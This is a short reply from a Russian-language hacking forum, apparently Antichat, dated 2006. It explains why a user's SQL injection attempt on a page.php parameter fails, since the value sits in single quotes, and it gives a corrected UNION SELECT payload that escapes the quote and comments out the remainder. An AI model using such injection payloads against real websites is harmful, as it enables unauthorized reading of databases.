Показать сообщение отдельно

  #2  
Старый 20.11.2006, 20:50
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
Провел на форуме:
2487541

Репутация: 761


По умолчанию

переменная $p стоит в одинарных ковычках. Твой инжектор http://test1.ru/page.php?p=UNION+SELECT+*+FROM+page выполняется, как обычный запрос по поиску.
Наверно нужно что-то вроде
http://test1.ru/page.php?p='+UNION+SELECT+*+FROM+page/*

Последний раз редактировалось fucker"ok; 20.11.2006 в 20:54..
 
Ответить с цитированием